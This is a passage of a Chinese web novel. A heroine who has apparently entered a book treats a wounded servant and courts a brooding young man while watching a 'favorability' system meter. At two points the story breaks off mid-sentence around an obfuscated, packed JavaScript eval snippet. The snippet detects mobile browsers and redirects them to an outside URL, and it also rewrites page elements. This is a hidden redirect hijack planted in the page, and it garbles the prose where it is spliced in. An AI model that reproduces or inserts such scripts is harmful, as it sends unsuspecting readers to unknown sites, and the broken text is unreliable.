“什么?!”虞昭猛地站起身,茶盏掉在地上摔得粉碎。她顾不得收拾,提起裙摆就往外跑,“快带我去!” “小姐!您的披风!”半莲慌忙抓起一件薄纱披风追上去。 虞昭头也不回地往外冲,心脏在胸腔里砰砰直跳。阿福是谢无咎最忠心的随从,要是出了事...她不敢往下想,脚步又加快了几分。 半莲在后面追着喊:“小姐,您慢点,别着急。” 西街口已经围了一圈看热闹的人。 虞昭挤进人群,眼前的景象让她倒吸一口冷气。阿福仰面躺在地上,胸前的衣襟已经被血浸透,脸色白得像纸,嘴唇泛着青紫。 谢无咎跪在阿福身边,那双平日沉稳的手此刻抖得厉害。他徒劳地用手掌压住阿福胸前不断涌血的伤口,鲜红的血液从他指缝间汩汩渗出,将他的袖口都染成了暗红色。 “阿福,撑住,”谢无咎的声音发颤,“大夫马上就到。” “谢无咎!”虞昭扑过去蹲下身,手指已经轻轻搭上阿福的脉搏,“怎么回事?” 谢无咎猛地抬头,那双总是冷静的眼睛里此刻满是慌乱。他张了张嘴,声音嘶哑:“我们...遇到劫道的...”他喉结滚动了一下,“阿福他为了护我...” 虞昭这才注意到谢无咎的衣袖也被划破了,手臂上有一道血痕。 阿福的睫毛颤了颤,微弱地唤了声:“公...子...” 谢无咎伸手握住阿福冰凉的手,声音低得几乎听不见:“撑住...你一定要撑住...” 虞昭没再多问,迅速检查伤口。阿福胸前一道狰狞的刀伤横贯整个胸膛,皮肉外翻,隐约可见森白的肋骨。她的心猛地一沉,这样的伤势,再这么下去,阿福可真就没救了。 “我来试试。”她咬了咬下唇,声音却异常坚定,“跟家里大夫学过些医术。” 谢无咎瞳孔微缩:“你?”他看了看虞昭纤细的手指,又看看阿福可怕的伤口,满脸难以置信。 “没时间了!”虞昭一把扯下自己的外衫,“信我一次?” 两人目光相接,谢无咎看到她眼中的决然,终于重重点头。 虞昭立刻转向围观的人群:“快去拿干净布来!再烧些热水!”她的声音清亮有力,几个街坊立刻行动起来。 小厮飞奔着取来一叠白布,虞昭接过,麻利地撕成长条。她先用一块布按压在伤口上方,鲜血很快浸透了布料。 “按这里,”她抓着谢无咎的手按在布上,“用力,别松手。” 谢无咎的手掌立刻被温热的血液浸湿,他咬牙加重力道,看着阿福痛苦地抽搐了一下:“阿福,你一定要挺住,可不能有事。” 这时有人端来一盆冒着热气的水,虞昭将布巾浸湿拧干,小心地擦拭伤口周围的血污。阿福的身体剧烈颤抖起来,发出微弱的呻吟。 “忍一忍,”虞昭放轻动作,声音温柔得像在哄孩子,“很快就好了。” 阿福的嘴唇蠕动着,似乎想说什么,却只吐出一口血沫。谢无咎的手猛地收紧,指节都泛了白。 “别怕,”虞昭一边清理伤口一边说,“你会没事的。”这话像是说给阿福听,又像是说给谢无咎听。 阳光照在三人身上,将地上的血迹映得刺眼。虞昭的额前沁出细密的汗珠,但她手上的动作始终稳定而轻柔。谢无咎看着她专注的侧脸,心中涌起一股难以言喻的情绪。 虞昭清洗完伤口后,又让人找来了针线,她看着针线,心里有点发怵,以前虽然见过大夫缝合伤口,但亲自上手还是头一遭。 “我得把伤口缝起来,”她深吸一口气,对谢无咎说道,“你帮我按住他,千万别让他乱动。” 谢无咎点点头,双臂稳稳扶住阿福的肩膀:“你放心缝,我在这儿。” 第一针下去,虞昭的手抖得厉害,针脚歪歪扭扭地穿过皮肉。阿福闷哼一声,身体猛地绷紧。虞昭抬头对上谢无咎的目光,那双眼睛里满是信任和鼓励。 “别怕,”谢无咎轻声说,“慢慢来。” 虞昭定了定神,用袖子擦了擦额头的汗水。第二针、第三针...她的动作渐渐稳了下来,针脚也整齐了许多。血珠不断从伤口渗出,染红了她纤细的手指,但她全神贯注地继续着手上的工作。 当最后一针打完结,虞昭长舒一口气,这才发现后背的衣衫已经被汗水浸透。她小心翼翼地剪断线头,看着那道狰狞的伤口终于被整齐的针脚闭合。 “缝好了,”她的声音有些发虚,“但还得找些草药敷上,防止化脓。” 谢无咎看着虞昭沾满血迹的双手和苍白的脸色,喉头滚动了一下:“虞昭...要不是你...”他的声音哽住了,眼睛里闪烁着复杂的光。 虞昭摆摆手,嘴角勉强扯出一个笑容:“现在不是说这个的时候。”她站起身,双腿因为久蹲而有些发麻,“我知道附近有片野地长着消炎的草药,我去采些来。” “我跟你一起去。”谢无咎立刻说道,转头对旁边的小厮嘱咐,“你照顾好阿福,我们很快就回来。” 两人快步穿过街巷,初夏的风吹拂着虞昭散落的碎发。谢无咎几次欲言又止,最终还是开口道:“今天真的...” “好啦,”虞昭打断他,脚步不停,“阿福跟了你多少年了?” “十年有余。”谢无咎答道,眼神柔和下来,“他从我十二岁起就跟在身边。” 虞昭点点头,在一处长满野草的空地前停下:“就是这里。”她蹲下身,熟练地拨开杂草,摘取几株叶片细长的植物,“这种草药消炎效果很好。” 谢无咎学着她的样子采摘,突然说道:“我从未见过像你这般的女子。” 虞昭手上的动作顿了顿,没有抬头:“快些采吧,阿福还等着呢。” 两人很快采够了草药,匆匆赶回。路上谢无咎的目光始终追随着虞昭的背影,看着她被风吹起的发丝和坚定的步伐,心中涌起一股前所未有的暖流。 “到了,”虞昭在阿福身边蹲下,将草药放在石臼中捣碎,“再坚持一下,很快就好了。” 阿福虚弱地睁开眼,目光在虞昭和谢无咎之间游移,嘴角微微上扬,似乎想说什么,却又无力地闭上了眼睛。虞昭将捣碎的草药轻轻敷在伤口上,用干净的布条包扎好。 “会好起来的。”她轻声说道,不知是在安慰阿福,还是在安慰一旁紧皱眉头的谢无咎。 谢无咎的目光落在虞昭沾着草药汁的手指上,那双手纤细白皙,此刻却因为救人而染上了斑驳的痕迹。他满是敬佩:“虞昭,你这医术...真是令人惊叹。若非你出手相助,阿福他...” 虞昭正用湿布擦拭手上的药渍,闻言抬起头,嘴角微微上扬:“不过是跟家里大夫学了点皮毛罢了。”她望向床榻上呼吸渐稳的阿福,眼中流露出真切的欣慰,“能救回阿福,我也很高兴。” 院外围观的人群还未散去,几个街坊交头接耳,不时投来钦佩的目光。一位须发花白的老者拄着拐杖走上前:“虞小姐这手医术,简直神了!老头子活了这么大岁数,还没见过哪个闺阁小姐有这般本事。” 谢无咎闻言,觉得这话挺对,眼中闪过一丝笑意:老先生说得是。虞昭这一手,当真称得上''天生慧眼''。“他转向虞昭,语气真诚得近乎温柔,”我今日才算真正认识了你。“ 虞昭被夸得有点不好意思,低头整理着衣袖:“你们太抬举我了。不过是恰好懂得些医理罢了。”她不着痕迹地转移话题,“阿福现在需要静养,我们得想办法把他送回去。” 谢无咎立刻会意,向周围几个壮实的街坊拱手:“劳烦诸位帮个忙,将阿福抬回寒舍。” 众人七手八脚地用门板做了副简易担架,小心翼翼地将阿福安置上去。虞昭走在担架旁,不时查看阿福的情况,细心地为他掖好被角。谢无咎在一旁看着,心中泛起一阵暖意。 回到谢无咎的小院,阿福被安顿在厢房的床榻上。虞昭为他换了干净的衣衫,又检查了一遍伤口。谢无咎端来一杯热茶:“你也该歇歇了。” 虞昭摇摇头,接过茶盏放在一旁:“我不累。”她俯身为阿福拭去额头的虚汗,“等他醒了,得让他喝些温水。” 谢无咎不再坚持,安静地坐在一旁。夕阳的余晖透过窗棂,在虞昭的侧脸投下柔和的光晕。他忽然发现,这个平日里看起来娇弱的姑娘,此刻竟显得如此坚韧可靠。 “公子...”一声微弱的呼唤打破了宁静。阿福缓缓睁开眼,目光迷茫地扫视四周,“我这是...” 谢无咎一个箭步冲到床前,握住阿福的手:“你在我院里。多亏虞昭小姐妙手回春,你才捡回这条命。” 阿福艰难地转过头,看向虞昭的眼神充满感激:“小姐大恩,阿福没齿难忘。” 虞昭轻轻按住他的肩膀:“别说话,好好养伤。”她转头对谢无咎道,“阿福现在最需要休息,我先告辞了。” 阿福虚弱地点点头,眼皮渐渐合上。谢无咎轻轻为他掖了掖被角,这才站起身,转向虞昭:“今天多亏有你。”他的声音很轻,像是怕惊扰了阿福的休息,“你先回去歇着吧,这里有我照看。” 虞昭看了看窗外渐暗的天色,点头道:“也好。若是阿福夜里发热,或是伤口有异样,随时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419583|168970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差人来叫我。” “一定。”谢无咎说着,已经拿起挂在门边的外衫,“我送你。” 两人一前一后走出房门。初夏的晚风带着花香拂过庭院,虞昭的发丝被轻轻吹起。谢无咎落后半步,目光不自觉地追随着她的背影。 到了院门口,虞昭转身道:“就送到这儿吧,阿福还需要人照看。” 谢无咎却执意多送了几步:“今日之事,我实在不知该如何感谢。” “朋友之间,不说这些。”虞昭摆摆手,嘴角噙着浅笑,“快回去吧。” 谢无咎站在原地,看着虞昭的身影渐渐融入暮色中。 今日发生的一切在他脑海中闪回——虞昭沉着冷静的处置,熟练的医术,还有那双沾满鲜血却毫不退缩的手。他忽然意识到,这个女子远比他想象的要特别得多。 不知为何,心头涌上一丝说不清道不明的情绪,像是感激,又似乎比感激更多些什么。 虞府里,半莲正焦急地在院门口踱步。见虞昭回来,立刻迎上去:“小姐!您这一去就是大半天,可急死奴婢了!” “出了些意外。”虞昭将事情经过简单说了一遍。 半莲听得眼睛越瞪越大:“小姐竟会医术?还救了谢公子的随从?”她突然掩嘴一笑,“这下谢公子怕是要把小姐当救命恩人供起来了。” 虞昭轻拍了下半莲的手背:“胡说什么呢。”她转身往内院走,声音低了几分,“我只是...见不得好好一个人就这么没了。” 半莲笑着说:“小姐您心肠好,我看那谢公子对您,肯定也是越来越上心了。” 虞昭脸一红,嗔怪道:“你这丫头,说什么,我就是帮个忙而已。” 回到房中,半莲帮虞昭换下沾了血迹的外衫。虞昭坐在妆台前,看着铜镜中自己略显疲惫的面容,忽然问道:“你说...谢无咎一个人能照顾好阿福吗?” 半莲正梳理着虞昭的长发,闻言抿嘴一笑:“小姐放心,谢公子看着就是个细心人。倒是您...”她放下梳子,“忙了一天,该好好歇着了。” 虞昭躺到床上,却怎么也睡不着。眼前总浮现出阿福苍白的脸色,还有谢无咎那双满是担忧的眼睛。窗外,一轮新月悄悄爬上树梢,洒下清冷的光辉。虞昭翻了个身,迷迷糊糊间还在想着:明天得早些过去看看... 半莲轻手轻脚地放下床帐,吹灭了烛火。月光透过纱帐,在虞昭熟睡的脸上投下柔和的光影。她的眉头终于舒展开来,唇角还带着一丝若有若无的笑意,似乎梦见了什么美好的事情。 过了几日,虞昭正倚在窗边看书,忽然,一阵轻轻的敲门声打断了她的阅读。 “小姐,”半莲推门进来,脸上带着促狭的笑意,“谢公子来了,还带了好些礼物,说是专程来谢您救了阿福呢。” 虞昭连忙放下书卷,手指不自觉地整理了下鬓角的碎发:“快请他进来。” 谢无咎提着几个精致的包裹走进来,月白色的长衫衬得他越发清俊。见着虞昭,他的步伐立刻快了起来起来:“虞昭,阿福这几日恢复得很好,多亏了你。”他将礼物放在桌上,“一点心意,不成敬意。” 虞昭看着桌上堆得小山似的礼物,有些无奈:“你太见外了,救阿福是我应该做的。” “你若不肯收,”谢无咎故作严肃地皱眉,“阿福怕是要亲自来道谢了。那小子天天念叨,说等能下床了定要当面给你磕头。” 虞昭“扑哧”笑出声来:“哪有这么严重。”她伸手轻轻拨开一个锦盒,里面是上好的笔墨纸砚,“这...太贵重了。” 谢无咎在她对面坐下,阳光在他侧脸投下柔和的光影:“阿福已经能下床走动了,只是身子还虚,需要再调养些时日。”他顿了顿,眼中满是真诚,“那日若非你出手相救...” “好了好了,”虞昭打断他,脸颊微红,“我收下便是。阿福喜欢吃什么?我让厨房准备些滋补的汤水给他。” 两人聊着近况,谢无咎说起这几日拜访了几位德高望重的先生:“虽还未有确切消息,但总算看到些希望。” “以你的才学,”虞昭真心实意地说,“定能得到先生们赏识。” 谢无咎闻言,眼中闪过一丝暖意:“有你这般信任,我更有底气了。”他忽然想起什么,“对了,三日后有个文人的聚会,你可愿同往?或许能结识些有趣的人。” 虞昭眨了眨眼:“可我于诗文一道并不精通。” “无妨,”谢无咎笑道,“有我在旁解说便是。就当散心也好。” 窗外的日影渐渐西斜,谢无咎起身告辞:“我该回去了,阿福该喝药了。”走到门口又回头,“三日后我来接你。” 虞昭站在廊下,看着他的背影消失在影壁后。半莲不知何时凑了过来:“小姐,谢公子待您真是用心呢。” “休要胡说,”虞昭轻斥,却掩不住嘴角的笑意,“去准备些药材,我要给阿福配些补身的药丸。” 回到房中,虞昭打开谢无咎送的礼物。除了文房四宝,还有几本珍贵的医书,和一盒精致的点心。她轻轻抚过书页,心里已经开始期待三日后的聚会了。 5. 看望 虞昭天刚蒙蒙亮就醒了,窗外还挂着几颗残星。她轻手轻脚地起床,生怕惊动了还在熟睡的半莲。铜镜前,她仔细地梳了个简单的发髻,又换了身素雅的衣裙。 “今天一定要多刷点好感值。”她对着镜子小声嘀咕,手指不自觉地摸了摸自己的脖子。 厨房里,虞昭精心挑选了几样点心:松软的桂花糕、香甜的枣泥酥,还有谢无咎上次称赞过的杏仁饼。她将点心仔细地装进食盒,又泡了一壶养胃的陈皮茶。 “小姐,您起得真早。”半莲揉着眼睛走进厨房,“又要去看谢公子?” 虞昭耳根微热:“阿福的伤还没好利索,我去看看。” 晨光熹微,主仆二人穿过安静的街巷。谢无咎住的小院门前,几株野花开得正艳。虞昭深吸一口气,轻轻叩响了门环。 “谢公子,你在吗?”她的声音不自觉地放柔了几分。 “稍等。”他整了整衣冠,心里却泛起一丝异样的情绪。这个叫虞昭的姑娘,为何总在他最落魄时出现?是真心相助,还是另有所图? 门“吱呀”一声打开,晨光中,虞昭提着食盒站在台阶下,发梢还沾着晨露。谢无咎不自觉地勾起嘴角:“这么早?快进来坐。” 虞昭迈进院子,将食盒放在石桌上:“我带了点心来,你大病初愈,得多补补。”她打开盖子,甜香立刻飘散开来。 谢无咎看着精致的点心,喉结动了动。自从母亲去世后,已经很久没有人这样关心他的饮食了。可越是感动,他心中的疑虑就越深,这世上哪有无缘无故的好意? “你总是这么惦记我...”他声音有些发紧,“我都不知道该如何报答了。” 虞昭摆摆手,递过一块桂花糕:“尝尝看,我特意让厨房少放了糖。” 谢无咎接过糕点,指尖不小心碰到虞昭的手,两人都像被烫到似的缩了一下。他低头咬了一口,甜而不腻的滋味在舌尖化开,却化不开他心中的困惑。 “好吃吗?”虞昭期待地问。 谢无咎点点头,却忍不住试探:“虞昭,你为何对我这般好?” 虞昭心头一跳,手中的茶壶差点打翻。她急中生智:“我们、我们不是朋友吗?”说完又觉得这个理由太过苍白,赶紧补充道,“再说阿福也是为了保护你才受伤的,我自然要多关照些。” 谢无咎若有所思地看了她一眼,没再追问。阳光渐渐洒满小院,照在两人之间的石桌上,将茶水的热气映得格外分明。 虞昭悄悄打量着谢无咎的侧脸,心想:这好感值到底涨了没有?而谢无咎则望着院角的梧桐树,思绪万千。这个突然闯入他生命的姑娘,究竟藏着什么秘密? 虞昭见谢无咎吃得香甜,眼睛不自觉地弯成了月牙:“你喜欢就好。”她倒了杯热茶推到他面前,“这几日身子可好些了?有没有按方子调养?” 谢无咎接过茶杯,指尖触到杯壁的温度刚刚好:“多亏你的方子,现在走路都有力气了。”他抿了口茶,心里却翻腾起来。这姑娘连药方都为他精心准备,这般细致入微的关怀,在他落魄后还是头一遭。可越是这样,他越是困惑:她图什么呢? 虞昭没察觉他的心思,自顾自地说着:“那你更得多注意,别累着了。要是缺什么药材,尽管告诉我。” 阳光透过窗棂,在谢无咎脸上投下斑驳的光影。他注视着虞昭真诚的眼神,心中的疑虑更深了:“虞昭,你待我这般好,我都不知道该如何回报。有时候我在想,我这样的人,值得你如此费心吗?” 虞昭心头一跳,手中的帕子绞紧了几分。系统警告在脑海中响起:【警告!反派好感度波动异常】。 她急忙扯出个笑容:“又说傻话。朋友之间互相照应,不是应该的吗?” “朋友...”谢无咎轻声重复,眼神复杂。他见过太多虚情假意,却从没见过这样毫无保留的善意。 虞昭为了转移话题,突然站起身:“哎呀,你这屋子怎么这么乱?”她指着角落里堆着的书卷和衣物,“病人住的地方得收拾干净才行。” 谢无咎连忙阻拦:“不必麻烦。” “不麻烦!”虞昭已经挽起袖子,利落地将散落的书册归拢,“你这人,跟我还客气什么?” 谢无咎站在原地,看着她麻利地整理着书桌,将歪倒的笔架扶正,把凌乱的纸张叠好。阳光照在她的侧脸上,连细小的绒毛都清晰可见。这样温馨的场景,却让他心里越发不安,她越是不求回报,他就越是怀疑背后另有隐情。 “虞昭...”他声音有些哑,“这些粗活不该让你来做。” 虞昭头也不抬,手上动作不停:“什么粗活不粗活的。你看,这样收拾完是不是清爽多了?”她转身对他粲然一笑,额头上还带着细密的汗珠。 谢无咎望着她明亮的笑容,一时语塞。这样纯粹的好意,让他筑起的心墙第一次出现了裂缝。也许...这世上真的有无缘无故的善意? 虞昭把最后一摞书整齐地码在架子上,拍了拍手上的灰尘,满意地环顾四周:“这下清爽多了。”她回到桌前坐下,给自己倒了杯茶,茶水温热刚好。 “前几日我在街上看见件趣事,”虞昭眼睛亮晶晶的,捧着茶杯说道,“有个卖糖人的老伯,手艺可巧了,能把糖稀吹成各种模样。偏巧来了个顽童,非要老伯吹个龙王...” 她绘声绘色地讲着,手还比划着老伯为难的样子。谢无咎听得入神,嘴角不自觉地上扬。当听到老伯最后吹出个四不像的“龙王”时,他忍不住笑出声来,多日来的阴郁似乎都散了几分。 虞昭见他笑了,心里也高兴。她突然想起什么,放下茶杯:“对了,听说城西新开了个小园子,景致很是不错。”她观察着谢无咎的脸色,“你现在身子好些了,不如我们去逛逛?整日闷在屋里也不好。” 谢无咎微微一怔。自从被家族放逐后,他已经很久没有闲情逸致去游园了。眼前这个姑娘,却总是能想到他需要什么。 “也好,”他点点头,声音柔和了几分,“是该出去走走了。” 虞昭眼睛一亮:“那明日如何?我看天色应该不错。” “明日...”谢无咎犹豫了一下。理智告诉他应该保持距离,可心底却有个声音在催促他答应。最终,他轻声道:“好,就明日。” 阳光透过窗纱,在两人之间的茶桌上投下斑驳的光影。虞昭的指尖轻轻摩挲着杯沿,心里盘算着明天的计划。 毕竟这可是提升好感度的大好机会。 又闲聊了一会儿,虞昭起身告辞。谢无咎送她到院门口,初夏的晚风带着花香拂过两人的衣袂。 “今日,”谢无咎顿了顿,“辛苦你了。” 虞昭摆摆手,发间的珠花在夕阳下闪着微光:“我高兴还来不及呢。”她转身要走,又回头叮嘱,“明日记得多穿件衣裳,早上露重。” 谢无咎站在门口,看着她的身影渐渐消失在巷子尽头。暮色中,他轻轻叹了口气,心里那堵筑起的高墙,似乎又松动了几分 第二天,虞昭特意换上了一袭淡青色的衣裙,发间只簪了一支素银簪子,既不会太招摇,又不失体面。 半莲帮她系好腰带时,忍不住打趣道:“小姐今日打扮得真用心。” “少贫嘴。”虞昭轻嗔一句,却掩不住嘴角的笑意。 谢无咎的小院门前,几株野蔷薇开得正好。虞昭刚抬手要敲门,门就“吱呀”一声开了。谢无咎一身月白色长衫站在门内,发丝用一根青色发带束起,看起来精神了不少。 “你来了。”谢无咎的声音比往日柔和,“我正准备去接你。” 虞昭眼前一亮:“看来你身子确实好多了。”她指了指巷口,“咱们从那边走吧,路上还能看看集市。” 清晨的街道上,小贩们正支起摊位。虞昭像个发现新奇玩意儿的孩子,一会儿指着卖糖人的摊子,一会儿又对扎风筝的老匠人赞不绝口。谢无咎跟在她身侧,看着她发间随着步伐轻轻晃动的珠花,心中的疑虑不知不觉淡了几分。 “你看那个泥人张的手艺,”虞昭扯了扯谢无咎的袖子,“捏的小猴子活灵活现的。”她转头时,发丝擦过谢无咎的肩膀,带着淡淡的茉莉香。 谢无咎不自觉地勾起嘴角:“确实精巧。”他犹豫片刻,从袖中掏出几文钱,“要不要买一个?” 虞昭眼睛一亮,却又摇头:“还是留着钱买些实用的东西吧。”她指了指前方,“园子就在前面了。” 园门是座精巧的月亮门,两侧爬满了紫藤。一进门,扑面而来的是一阵混合着青草与花香的清风。虞昭深吸一口气,眉眼舒展开来:“真舒服。” 谢无咎也不由放松了紧绷的肩膀。园中假山玲珑,一弯清溪绕石而过,远处还有座红漆小桥。这样的景致,在他被家族放逐后已经很久没见过了。 “多亏你带我来这儿。”他由衷地说。 虞昭沿着石子小径轻快地走着,忽然在一丛野蔷薇前停下。她小心翼翼地摘下一朵开得最盛的,转身递给谢无咎:“给你。希望从今往后,你每天都能像这花儿一样灿烂。” 谢无咎愣住了。粉白的花瓣上还带着晨露,在阳光下晶莹剔透。他伸手接过,指尖不小心碰到虞昭的指尖,两人都像被烫到似的缩了一下。 “谢谢。”他的声音有些发紧,“我很喜欢。” 虞昭抿嘴一笑,耳尖微微泛红。她指了指不远处的一座六角凉亭:“去那儿坐坐吧,走了这么久,你也该歇歇了。” 凉亭临水而建,微风拂过,带来阵阵荷香。谢无咎望着手中的蔷薇,心中的坚冰似乎又融化了一分。这个姑娘,或许真的只是单纯地对他好? 两人走到亭子坐下,虞昭从随身带着的小包里拿出水壶,倒了杯水递给谢无咎:“走了这么久,喝点水润润嗓子。” 谢无咎接过杯子,指尖触到杯壁的温度刚好温热。他抿了一口,是加了蜂蜜的菊花茶,清甜中带着淡淡的花香。“你想得真周到。”他不由说道。 虞昭抿嘴一笑:出门在外,总得准备周全些。“她望向远处的假山,”我小时候最爱跟着父亲游园,每次都要带上一大包东西,被兄长笑话像个搬家的小松鼠。 谢无咎听着她讲述童年趣事,紧绷的肩膀不自觉地放松下来。阳光照在身上暖洋洋的,更令人放松。 虞昭说到兴头上,眼睛亮晶晶的,手还比划着当时的情景。 正当两人聊得投机时,一片乌云悄然而至。虞昭抬头看了看骤然暗下来的天色:“不好,要下雨了!” 话音刚落,豆大的雨点就砸了下来。谢无咎一把抓起放在石凳上的布袋:“跟我来!” 两人沿着蜿蜒的石子路飞奔,雨水已经打湿了虞昭的衣袖。转过一片竹林,总算看到一间供游人歇脚的小屋。他们刚冲进屋内,身后的雨幕就变成了倾盆大雨。 “好险。”虞昭喘着气,拍了拍胸口。她的发髻被雨水打湿了几缕,贴在脸颊上,显得有几分狼狈。 谢无咎递过一块素帕:“擦擦脸吧。”他望着门外如注的雨帘,“这雨来得急,应该去得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419584|168970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也快。” 虞昭接过帕子,上面带着淡淡的松木香。她擦了擦脸上的雨水,有些担忧地说:“家里人要着急了。” “别担心,”谢无咎安慰道,“等雨小些我们就回去。”他环顾四周,发现屋角有个小炉子,“要不生个火?衣服湿了容易着凉。” 虞昭眼睛一亮:“你会生火?” 谢无咎挽起袖子,露出结实的小臂:“在边关从军时学的。”他熟练地摆弄着柴火,不一会儿,橘红的火苗就蹿了起来。 两人围坐在炉边,火光映在脸上。虞昭把湿了的袖口凑近火堆烘烤,开始讲起《山海经》里的奇闻异事。她说得绘声绘色,连外头的雨声都成了故事的伴奏。 谢无咎望着她被火光映红的侧脸,心中的坚冰又融化了几分。这个姑娘懂医术,会讲故事,连出门都记得带茶水...她到底还有多少惊喜是他不知道的? 雨声渐小,屋檐滴落的水珠在石阶上敲出清脆的节奏。谢无咎忽然发现,自己已经很久没有这样放松过了。即便心底仍有一丝疑虑,但此刻的温暖却是真实的。 雨势渐弱,屋檐滴落的水珠也变得稀疏起来。虞昭站在门边往外张望:“雨小了,咱们该回去了,再晚些路上该看不清了。” 谢无咎点点头,将炉子里的余火熄灭:“走吧。” 两人踏着湿漉漉的石子路往回走。虞昭小心地提着裙摆,避开路上的水洼。谢无咎走在外侧,不着痕迹地为她挡去枝头滴落的雨水。 “小心这里。”谢无咎伸手虚扶了一下,指向一处积水的洼地。 虞昭轻盈地跳过,发间的珠花随着她的动作轻轻晃动:“多谢提醒。”她转头笑道,“这雨后的空气倒是格外清新。” 回到谢无咎的小院门前,暮色已经笼罩了半片天空。谢无咎站在台阶上,看着虞昭被雨水打湿的衣角,声音不自觉地柔和了几分:“今日...多谢你。” 虞昭摆摆手,脸上的笑容比天边的晚霞还要明媚:“我也很开心。你快进去换身干衣裳,别着凉了。” “嗯。”谢无咎应道,却又忍不住多说了一句,“有空...常来坐坐。” “一定。”虞昭点点头,转身走入渐浓的暮色中。她的背影在巷口拐角处消失前,还回头挥了挥手。 谢无咎站在院门口,手中还握着那朵已经有些蔫了的蔷薇。他低头看着花瓣上未干的水珠,心中的疑惑越发深了。这个女子对他的好,细致入微到连他都觉得不可思议。可越是如此,他越是想不通,她图什么呢? 另一边,虞昭回到家中,半莲赶忙迎上来:“小姐怎么淋湿了?快换身衣裳。” 虞昭任由半莲帮她更衣,心里却在盘算着今天的收获。谢无咎看她的眼神柔和了许多,应该又涨了些好感度吧? 虞昭望向窗外渐暗的天色,心想:明天该用什么理由再去见谢无咎呢? 过了几日,虞昭在家里正帮着半莲做些针线活,就听到外面传来敲门声。 “小姐,”半莲放下绣绷去开门,不一会儿就转回来,脸上带着促狭的笑意,“谢公子来了,还带了好些礼物呢。” 虞昭赶忙放下手里的针线,站起身来:“快请他进来。” 谢无咎提着几个精致的纸包走进来,见着虞昭,他的眼睛立刻亮了起来:“虞昭,前日去市集,看到几样小玩意,想着你可能会喜欢。” 他小心地将纸包放在桌上,一一打开。里面是一支雕着梅花的木簪,一对小巧的银耳坠,还有个精致的香囊,上面绣着栩栩如生的蝴蝶。 “这...”虞昭拿起木簪,指尖轻抚过梅花,“太精美了。”她抬头看向谢无咎,眼中闪烁着惊喜的光芒,“你怎么知道我喜欢梅花?” 谢无咎嘴角微扬:“上次见你绣的就是梅花。”他顿了顿,“喜欢吗?” “当然喜欢!”虞昭将木簪递给半莲,“快帮我戴上看看。” 半莲接过簪子,轻轻插在虞昭的发髻上。谢无咎看着阳光下泛着温润光泽的木簪,心中涌起一股莫名的满足感。虽然仍不明白虞昭为何待他这般好,但他发现自己越来越享受看到她开心的样子。 “你身子可大好了?”虞昭摸了摸发间的木簪,关切地问道。 “已经无碍了。”谢无咎的声音比往日柔和,“多亏你一直惦记着。” 两人在窗边坐下。谢无咎说起近日拜访了几位德高望重的先生,其中一位对他的文章颇为赏识。 “我就知道!”虞昭双手轻拍,眼睛亮晶晶的,“以你的才华,迟早会被发现的。” 谢无咎望着她真挚的眼神,心中那堵高墙又松动了几分:“若非你一直鼓励...” “又说见外的话。”虞昭佯装生气地瞪了他一眼,随即又笑起来,“等你飞黄腾达了,可别忘了我这个朋友。” “怎么会。”谢无咎不假思索地回道,声音里带着自己都没察觉的急切,“你对我...很重要。” 话一出口,两人都愣了一下。虞昭耳尖微红,急忙转移话题,说起街坊新开的茶楼。谢无咎顺着她的话头接下去,却忍不住在心里琢磨,虞昭她究竟何时在他心里占据了这样的位置? 阳光渐渐西斜,将两人的影子拉得很长。虞昭看着谢无咎被镀上金边的侧脸,心想:这好感度应该又涨了不少吧?自己这刷好感值的事儿,进展得还算顺利,只希望能一直这么顺利下去。 而谢无咎则望着她发间的木簪,第一次觉得,或许不必纠结她最初的动机,珍惜当下的情谊才是最重要的。 6. 原书女主 清晨的阳光透过窗纱洒进闺房,虞昭坐在梳妆台前,半莲正为她梳理着乌黑的长发。铜镜中映出她若有所思的面容。 她心里盘算着,今天要不要再去看看谢无咎,这好感值还得接着往上刷,可不能懈怠了。 “小姐今儿个气色真好。”半莲将一支白玉簪子插进发髻,“您要不要出去走走?” 虞昭笑着说:“我正琢磨这事儿。”她拿起胭脂轻轻点了点唇,“谢公子身子刚好,总得有人多关心些。” 半莲抿嘴一笑,也不拆穿,只是将最后一缕碎发别好:“好了,小姐今日这发式衬得人更精神了。” 虞昭对着镜子左右看了看,满意地点点头。她起身换上件淡青色的罗裙,腰间系了条绣着缠枝纹的丝带,整个人显得清爽又灵动。 出门时,街坊们已经开始了一天的忙碌。卖豆腐的老伯见到虞昭,笑呵呵地打招呼:“虞小姐早啊!” “早啊!李伯。”虞昭笑着应道,脚步轻快地穿过熟悉的街巷。 谢无咎的小院门前,几株野蔷薇开得正艳。虞昭刚要抬手敲门,门却“吱呀”一声从里面打开了。谢无咎一身靛青色长衫站在门口,发丝用一根木簪松松挽着,看起来比往日精神许多。 “虞昭?”他眼中闪过一丝惊喜,“我正要去寻你。” 虞昭眨了眨眼:“这么巧?” “想着你今日或许会来...”谢无咎的声音低了几分,随即转移话题,“既然来了,不如一起去集市走走?” “好啊!”虞昭眼睛一亮,“听说今日有西域来的商队,说不定能见到些新鲜玩意儿。” 两人并肩走在街上,谢无咎比虞昭高了半个头,不自觉地放慢了脚步。他谈起近日读的《庄子》,说到兴起时,眉宇间神采飞扬。虞昭侧耳倾听,偶尔插上几句见解,总能引得谢无咎惊讶地看她一眼。 集市上人声鼎沸,各色摊位琳琅满目。虞昭忽然拽住谢无咎的衣袖:“快看那个糖人摊!” 